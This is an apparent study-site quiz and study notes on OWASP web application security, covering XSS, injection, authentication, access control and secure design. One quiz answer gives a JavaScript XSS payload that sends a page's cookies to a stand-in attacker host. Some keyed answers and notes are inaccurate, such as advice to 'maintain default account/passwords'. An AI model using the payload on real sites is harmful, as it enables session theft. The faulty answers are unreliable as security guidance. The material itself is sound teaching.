OWASP Overview and Core Values
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What should be ensured when storing sensitive data?

  • Use weak algorithms to increase processing speed.
  • Ensure that the cryptographic protection remains secure even if access controls fail. (correct)
  • Only store sensitive data that is outdated.
  • Sensitive data should be encrypted with any method available.

    • Which of the following practices supports good cryptographic storage design?

  • Storing plain text passwords for easy access.
  • Using strong approved Authenticated Encryption. (correct)
  • Keeping cryptographic keys publicly accessible.
  • Avoiding regulations on the use of cryptography.

    • What is a common issue related to insecure dependencies?

  • Using software that is vulnerable, unsupported, or out of date. (correct)
  • Knowing the version of dependencies accurately.
  • Monitoring component configuration regularly.
  • Regularly patching outdated software components.

    • Which action contributes to preventing issues related to dependencies?

    <p>Continuously monitoring for vulnerabilities.</p> Signup and view all the answers

    What is an ineffective approach to securing software components?

    <p>Patch management processes are insufficient or missing.</p> Signup and view all the answers

    What is the primary approach of Allow List Input Validation?

    <p>Block all user inputs unless explicitly allowed</p> Signup and view all the answers

    Which of the following is an example of a situation where Client Side Validation can be bypassed?

    <p>By editing headers and data in a browser's developer tools</p> Signup and view all the answers

    What is a major drawback of using Block List Input Validation?

    <p>It must be regularly updated to address new attack patterns</p> Signup and view all the answers

    What does injection in the context of application security refer to?

    <p>Executing unintended commands in an application</p> Signup and view all the answers

    Which statement best describes the nature of Allow List Input Validation?

    <p>It is less effective over time if not maintained</p> Signup and view all the answers

    How should an HTML sanitizer be utilized when handling user input?

    <p>By sanitizing larger HTML chunks provided by the user</p> Signup and view all the answers

    What is a common method attackers use to exploit broken access control?

    <p>Changing the primary key to another user's record</p> Signup and view all the answers

    Which type of privilege escalation involves accessing another user's data at the same level?

    <p>Horizontal Privilege Escalation</p> Signup and view all the answers

    What is a significant characteristic of negative security rules in input validation?

    <p>Require a comprehensive understanding of potential attacks</p> Signup and view all the answers

    Which of the following is a recommended prevention measure for access control issues?

    <p>Deny access to private resources by default</p> Signup and view all the answers

    Which of the following is NOT a potential interpreter type where injection can occur?

    <p>Excel</p> Signup and view all the answers

    What should access tokens do upon user logout to enhance security?

    <p>Be invalidated on the server</p> Signup and view all the answers

    What is an effective way to enforce access control mechanisms within an application?

    <p>Reuse access control mechanisms throughout the application</p> Signup and view all the answers

    Which of the following describes the practice of force browsing?

    <p>Attempting to view authenticated pages as an anonymous user</p> Signup and view all the answers

    What is a key reason to log access control failures?

    <p>To alert administrators when appropriate</p> Signup and view all the answers

    What does the principle of Defense in Depth primarily emphasize?

    <p>Implementing multiple barriers to manage risks</p> Signup and view all the answers

    What is the recommended outcome when a transaction fails?

    <p>Fail closed to prevent unauthorized access</p> Signup and view all the answers

    Which of the following is NOT a common attack related to broken access control?

    <p>Data encryption attacks</p> Signup and view all the answers

    Why should external systems be treated with caution?

    <p>They might vary in security posture and policies</p> Signup and view all the answers

    What role does Separation of Duties play in security?

    <p>It prevents fraud by clearly dividing responsibilities</p> Signup and view all the answers

    What criticism is associated with Security by Obscurity?

    <p>It relies solely on keeping security details hidden</p> Signup and view all the answers

    What is a key advantage of keeping security simple?

    <p>It reduces the attack surface and improves efficiency</p> Signup and view all the answers

    What should be avoided when developing secure systems?

    <p>Incorporating complex architectures unnecessarily</p> Signup and view all the answers

    What does failing securely prevent?

    <p>Unauthorised access during a failure</p> Signup and view all the answers

    What is a primary characteristic of Reflected XSS?

    <p>User input is included in HTML output without validation.</p> Signup and view all the answers

    Which of the following examples demonstrates a successful payload for stealing user sessions in an XSS attack?

    <p>new Image().src=&quot;http://ev.il/hijack.php?c=&quot;+encodeURI(document.cookie);</p> Signup and view all the answers

    What is the main risk associated with Stored XSS vulnerabilities?

    <p>They can impact multiple users who access stored input.</p> Signup and view all the answers

    In the context of XSS, what does DOM XSS primarily involve?

    <p>JavaScript frameworks dynamically incorporating problematic data.</p> Signup and view all the answers

    What is a common method used in an XSS redirect attack?

    <p>Changing the window location with JavaScript.</p> Signup and view all the answers

    Which link is an indication of a possible phishing attempt in the lottery scenario?

    <p><a href="http://ev.il/hijack.php">http://ev.il/hijack.php</a></p> Signup and view all the answers

    What is the aim of the 'document.body.background' payload in an XSS attack?

    <p>To change the background of the webpage to a malicious image.</p> Signup and view all the answers

    What generally happens when a user inputs data in an unsafe manner within a search field?

    <p>Potentially dangerous scripts may be executed.</p> Signup and view all the answers

    What is the primary mission of OWASP?

    <p>To improve the security of software</p> Signup and view all the answers

    Which of the following is NOT listed as a core value of OWASP?

    <p>Security Innovation</p> Signup and view all the answers

    Which XSS vulnerability allows an attacker to send a malicious script to a user?

    <p>Cross-Site Scripting (XSS)</p> Signup and view all the answers

    What are typical impacts of XSS attacks?

    <p>Steal a user's session</p> Signup and view all the answers

    What is a critical root cause of XSS vulnerabilities?

    <p>Including untrusted data into dynamic content without validation</p> Signup and view all the answers

    Which component is NOT part of the OWASP Top 10 list?

    <p>Cross-Origin Resource Sharing</p> Signup and view all the answers

    What principle does OWASP uphold regarding community participation?

    <p>Global participation is encouraged</p> Signup and view all the answers

    How does a user's browser wrongly trust the malicious script in an XSS attack?

    <p>The script comes from a trusted source</p> Signup and view all the answers

    Which action is a common characteristic of XSS attacks?

    <p>Redirecting users to malicious websites</p> Signup and view all the answers

    What does OWASP's commitment to openness entail?

    <p>All finances and code are transparently shared</p> Signup and view all the answers

    Study Notes

    OWASP (Open Web Application Security Project)

    • OWASP is a non-profit foundation dedicated to improving software security
    • It utilizes a community-driven approach with open-source projects
    • The foundation offers numerous local chapters worldwide
    • OWASP boasts tens of thousands of members
    • It is a leading source of educational and training resources for developers and technologists to secure web applications

    Core Values

    • Open: Transparency in finances and code is paramount
    • Innovative: Encourages exploration of new solutions for software security challenges
    • Global: Welcomes participation from anywhere in the world
    • Integrity: Fosters a respectful, supportive, truthful, and vendor-neutral community

    OWASP Top 10

    • This is a prioritized list of the most critical web application security risks
    • The list is regularly updated to reflect emerging threats
    • The OWASP Top 10 serves as a guide for developers to strengthen their applications against common vulnerabilities

    Cross-Site Scripting (XSS)

    • Attackers can inject malicious scripts into a web application
    • The user's browser executes the malicious script, thinking it originates from a trusted source
    • Attackers can steal user sessions, sensitive data, and rewrite HTML pages
    • Vulnerabilities arise when untrusted data is included in dynamic content without validation

    Root Cause of XSS

    • Applications often incorporate untrusted data from HTTP requests into dynamic content
    • Failure to validate this data for malicious content creates the vulnerability

    Typical XSS Impacts

    • Stealing user sessions
    • Accessing sensitive data
    • Manipulating web page content
    • Redirecting users to malicious websites

    XSS Exploit Example

    • A web application's search field accepts input without validation
    • An attacker can enter malicious HTML code (e.g., an image tag with a malicious URL)
    • The application displays the attacker's code, executing it in the victim's browser

    XSS Payload Examples

    • Stealing user sessions
    • Site defacing
    • Redirecting users

    Forms of XSS

    • Reflected XSS: Includes unvalidated user input in HTML output
    • Stored XSS: Stores unsanitized user input, which other users see later
    • DOM (Document Object Model) XSS: Executes attacker-controlled data inserted in frameworks

    XSS Prevention

    • Do not include user-supplied input directly in your output
    • Encode all user-supplied input
    • Use input validation (allow-listing) to specify acceptable input
    • Use HTML sanitizers for complex user input

    Input Validation - Block List

    • This method blocks specific input characters or patterns
    • Drawback: Vulnerable to masking techniques

    Input Validation - Allow List

    • Only allows specific characters or patterns
    • Advantage: Protects against future vulnerabilities
    • Disadvantage: Defining the acceptable input characters can be complex

    Bypassing Client-Side Validation

    • Client-side validation is for convenience, not security
    • It can be easily bypassed by directly interacting with the back-end

    Injection (Example: SQL Injection)

    • Tricking an application into including unintended commands in data sent to an interpreter
    • Interpreters Affected: Query languages (SQL, NoSQL, HQL, LDAP, XPath), Expression languages (SpEL, JSP/JSF EL), Template engines (Freemarker, Velocity), Command-line interfaces (Bash, PowerShell)

    SQL Injection - Typical Impact

    • Bypassing authentication
    • Spying out data
    • Manipulating data
    • Complete system takeover

    Blind SQL Injection

    • Attackers don't get direct error messages
    • They use boolean conditions to deduce if the query succeeds or fails
    • This process takes time to complete and can be slow

    Prevention for SQL Injection

    • Avoid constructing SQL statements with string manipulation
    • Utilize prepared statements, parameters, or parameterized queries
    • Use an interface to avoid interpreters

    Prevention (Other)

    • Missing appropriate security hardening across application stack: Install the latest versions of application components, properly configure and secure permissions in the cloud services, disable unnecessary features, and ensure default accounts/passwords have been disabled

    Typical Flaws in Authentication

    • Allowing brute-force attacks
    • Implementing weak password recovery processes
    • Using unsecure password storage methods (e.g., plain text, weak hashing)
    • Forgetting multi-factor authentication
    • Exposing session IDs in the URL

    Password Strength Controls

    • Enforce minimum password length, avoiding periodic password resets
    • Ban commonly breached passwords
    • Offer password visibility or clipboard pasting options

    Secure "Forgot Password" Mechanism

    • Provide uniform messages for both existing and non-existent accounts
    • Use a side channel (e.g., phone call, email address) for password reset instructions
    • Utilize URL tokens for password reset

    Secure Password Storage

    • Use bcrypt (or equivalent) password hashing algorithms
    • Set a reasonable work factor (e.g., prevent brute-force cracking)
    • Use a salt (modern algorithms use automatic salts)
    • Consider using a pepper (for enhanced security, but less common)

    Other Authentication Controls

    • Use TLS (secure communication protocol)
    • Implement strategies such as throttling for brute-force prevention
    • Require re-authentication for sensitive features
    • Offer two-factor or multi-factor authentication

    Two-Factor Authentication (2FA)

    • Requires two out of three types of credentials (Something you know, Something you have, Something you are)

    Broken Access Control

    • Applications incorrectly handling user permissions expose unauthorized functionality.
    • Possible Impacts: Unauthorized access, view sensitive files, modify data, change access rights, and other privileged actions.

    Access Control Design Principles

    • Thoroughly design access controls up front
    • Enforce access checks for all requests
    • Deny access by default (unless explicitly granted access)
    • Enforce principle of least privilege
    • Avoid hardcoding roles
    • Log all access control events

    Sensitive Data

    • Data like passwords, credit card numbers, personally identifiable information (PII), and business secrets warrants special protection.
    • Following data protection regulations (e.g., GDPR, PCI DSS) is crucial

    GDPR (General Data Protection Regulation)

    • A comprehensive data privacy regulation in the EU
    • Addresses the protection of personal data and the data processing

    Secure Cryptographic Storage Design

    • Store sensitive data only when needed, using strong encryption and salt
    • Ensure cryptographic protection even under compromised access controls
    • Protect secret keys from unauthorized access, following appropriate regulations for cryptography

    Insecure Dependencies

    • Applications using vulnerable, outdated, or unmaintained dependencies increase attack surface
    • Use scanners and continuously monitor versions for known vulnerabilities and security bulletins

    Insecure Configuration

    • Employ appropriate server hardening measures
    • Properly configure permissions and disable unused/unnecessary components
    • Maintain default account/passwords

    Secure Design Principles

    • Minimize attack surface area
    • Enforce strong default security configurations for new application features
    • Provide least privilege access to users
    • Employ in-depth security measures
    • Ensure secure failure states when transactions/code execution fail

    Don't Trust Services

    • External services should not be trusted implicitly
    • Treat all external services as potentially hostile entities

    Separation of Duties

    • Implementing a separation of duties framework for application administrators
    • Prevents single points of failure

    Avoid Security by Obscurity

    • Hiding sensitive information or functionalities should never be the sole security measure
    • Implementing other security strategies is always beneficial to maintain security

    Keep Security Simple

    • Maintain an uncomplicated and straightforward design.
    • Prioritize clean code over intricate, complex approaches.
    • Avoid complex designs or double negatives where simpler approaches are available.

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    Related Documents

    OWASP Web Application Security Project Guide 07 PDF

    Description

    Explore the Open Web Application Security Project (OWASP), a non-profit foundation dedicated to enhancing software security through community-driven initiatives. Learn about its core values, the significance of the OWASP Top 10, and how this organization empowers developers to address web application security risks effectively.

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